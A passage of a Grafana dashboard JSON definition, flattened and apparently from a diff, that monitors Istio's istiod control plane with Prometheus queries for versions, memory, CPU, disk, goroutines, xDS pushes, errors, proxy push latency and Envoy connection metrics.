"prometheus" - }, - "refId": "A" - } - ], - "title": "Deployed Versions", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 5, - "w": 24, - "x": 0, - "y": 1 - }, - "id": 56, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(istio_build{component=\"pilot\", cluster=\"$cluster\"}) by (tag)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "{{ tag }}", - "range": true, - "refId": "A" - } - ], - "title": "Pilot Versions", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 6 - }, - "id": 62, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Resource Usage", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 0, - "y": 7 - }, - "id": 5, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_virtual_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "instant": false, - "intervalFactor": 2, - "legendFormat": "Virtual Memory", - "refId": "I", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "process_resident_memory_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Resident Memory", - "range": true, - "refId": "H", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_sys_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap sys", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": true, - "intervalFactor": 2, - "legendFormat": "heap alloc", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_alloc_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Alloc", - "range": true, - "refId": "F", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_heap_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Heap in-use", - "range": true, - "refId": "E", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_memstats_stack_inuse_bytes{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Stack in-use", - "range": true, - "refId": "G", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_memory_working_set_bytes{container=~\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "C" - } - ], - "title": "Memory", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 6, - "y": 7 - }, - "id": 6, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Discovery (container)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "irate(process_cpu_seconds_total{app=\"istiod\", cluster=~\"$cluster\"}[1m])", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Discovery (process)", - "range": true, - "refId": "C", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(container_cpu_usage_seconds_total{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 2, - "legendFormat": "Sidecar (container)", - "range": true, - "refId": "B", - "step": 2 - } - ], - "title": "CPU", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "bytes" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 12, - "y": 7 - }, - "id": 7, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"discovery\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Discovery", - "range": true, - "refId": "B", - "step": 2 - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "container_fs_usage_bytes{container=\"istio-proxy\", pod=~\"istiod-.*|istio-pilot-.*\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Sidecar", - "range": true, - "refId": "A" - } - ], - "title": "Disk", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 7, - "w": 6, - "x": 18, - "y": 7 - }, - "id": 4, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": false - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "go_goroutines{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "intervalFactor": 2, - "legendFormat": "Number of Goroutines", - "range": true, - "refId": "A", - "step": 2 - } - ], - "title": "Goroutines", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 14 - }, - "id": 58, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Pilot Push Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the rate of pilot pushes", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "bars", - "fillOpacity": 100, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "normal" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "min": 0, - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 15 - }, - "id": 622, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "single", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"cds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Cluster", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"eds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Endpoints", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"lds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Listeners", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"rds\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Routes", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"sds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Secrets", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(pilot_xds_pushes{type=\"nds\", cluster=~\"$cluster\"}[1m]))", - "interval": "", - "legendFormat": "Nametables", - "range": true, - "refId": "F" - } - ], - "title": "Pilot Pushes", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Captures a variety of pilot errors", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 8, - "y": 15 - }, - "id": 67, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_cds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected CDS Configs", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_eds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected EDS Configs", - "range": true, - "refId": "D" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_rds_reject{app=\"istiod\", cluster=~\"$cluster\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected RDS Configs", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds_lds_reject{app=\"istiod\", cluster=~\"$cluster\"}) or (absent(pilot_xds_lds_reject{app=\"istiod\"}) - 1)", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Rejected LDS Configs", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Write Timeouts", - "range": true, - "refId": "F" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_internal_errors{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Internal Errors", - "range": true, - "refId": "H" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_total_xds_rejects{app=\"istiod\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Config Rejection Rate", - "range": true, - "refId": "E" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "expr": "sum(rate(pilot_xds_push_context_errors{app=\"istiod\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Push Context Errors", - "refId": "K" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(rate(pilot_xds_write_timeout{app=\"istiod\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Push Timeouts", - "range": true, - "refId": "G" - } - ], - "title": "Pilot Errors", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows the total time it takes to push a config update to a proxy", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "s" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 16, - "y": 15 - }, - "id": 624, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.5, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p50 ", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.9, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p90", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.99, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "histogram_quantile(0.999, sum(rate(pilot_proxy_convergence_time_bucket{cluster=~\"$cluster\"}[1m])) by (le))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "p99.9", - "range": true, - "refId": "D" - } - ], - "title": "Proxy Push Time", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 0, - "y": 23 - }, - "id": 45, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_inbound_listener{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Inbound Listeners", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_http_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (http over current tcp)", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_tcp{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current tcp)", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "pilot_conflict_outbound_listener_tcp_over_current_http{app=\"istiod\", cluster=~\"$cluster\"}", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "Outbound Listeners (tcp over current http)", - "range": true, - "refId": "D" - } - ], - "title": "Conflicts", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "short" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 12, - "x": 12, - "y": 23 - }, - "id": 47, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_virt_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Virtual Services", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "avg(pilot_services{app=\"istiod\", cluster=~\"$cluster\"})", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Services", - "range": true, - "refId": "B" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(pilot_xds{app=\"istiod\", cluster=~\"$cluster\"}) by (pod)", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Connected Endpoints {{pod}}", - "range": true, - "refId": "E" - } - ], - "title": "ADS Monitoring", - "type": "timeseries" - }, - { - "collapsed": false, - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "gridPos": { - "h": 1, - "w": 24, - "x": 0, - "y": 31 - }, - "id": 64, - "panels": [], - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus" - }, - "refId": "A" - } - ], - "title": "Envoy Information", - "type": "row" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "description": "Shows details about Envoy proxies in the mesh", - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - "thresholds": { - "mode": "absolute", - "steps": [ - { - "color": "green", - "value": null - }, - { - "color": "red", - "value": 80 - } - ] - }, - "unit": "ops" - }, - "overrides": [] - }, - "gridPos": { - "h": 8, - "w": 8, - "x": 0, - "y": 32 - }, - "id": 40, - "links": [], - "options": { - "legend": { - "calcs": [], - "displayMode": "list", - "placement": "bottom", - "showLegend": true - }, - "tooltip": { - "mode": "multi", - "sort": "none" - } - }, - "pluginVersion": "9.3.1", - "targets": [ - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_total{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connections", - "range": true, - "refId": "C" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(irate(envoy_cluster_upstream_cx_connect_fail{cluster_name=\"xds-grpc\", cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "hide": false, - "intervalFactor": 1, - "legendFormat": "XDS Connection Failures", - "range": true, - "refId": "A" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "editorMode": "code", - "expr": "sum(increase(envoy_server_hot_restart_epoch{cluster=~\"$cluster\"}[1m]))", - "format": "time_series", - "intervalFactor": 1, - "legendFormat": "Envoy Restarts", - "range": true, - "refId": "B" - } - ], - "title": "Envoy Details", - "type": "timeseries" - }, - { - "datasource": { - "type": "prometheus", - "uid": "prometheus-GM" - }, - "fieldConfig": { - "defaults": { - "color": { - "mode": "palette-classic" - }, - "custom": { - "axisCenteredZero": false, - "axisColorMode": "text", - "axisLabel": "", - "axisPlacement": "auto", - "barAlignment": 0, - "drawStyle": "line", - "fillOpacity": 10, - "gradientMode": "none", - "hideFrom": { - "legend": false, - "tooltip": false, - "viz": false - }, - "lineInterpolation": "linear", - "lineWidth": 1, - "pointSize": 5, - "scaleDistribution": { - "type": "linear" - }, - "showPoints": "never", - "spanNulls": false, - "stacking": { - "group": "A", - "mode": "none" - }, - "thresholdsStyle": { - "mode": "off" - } - }, - "mappings": [], - 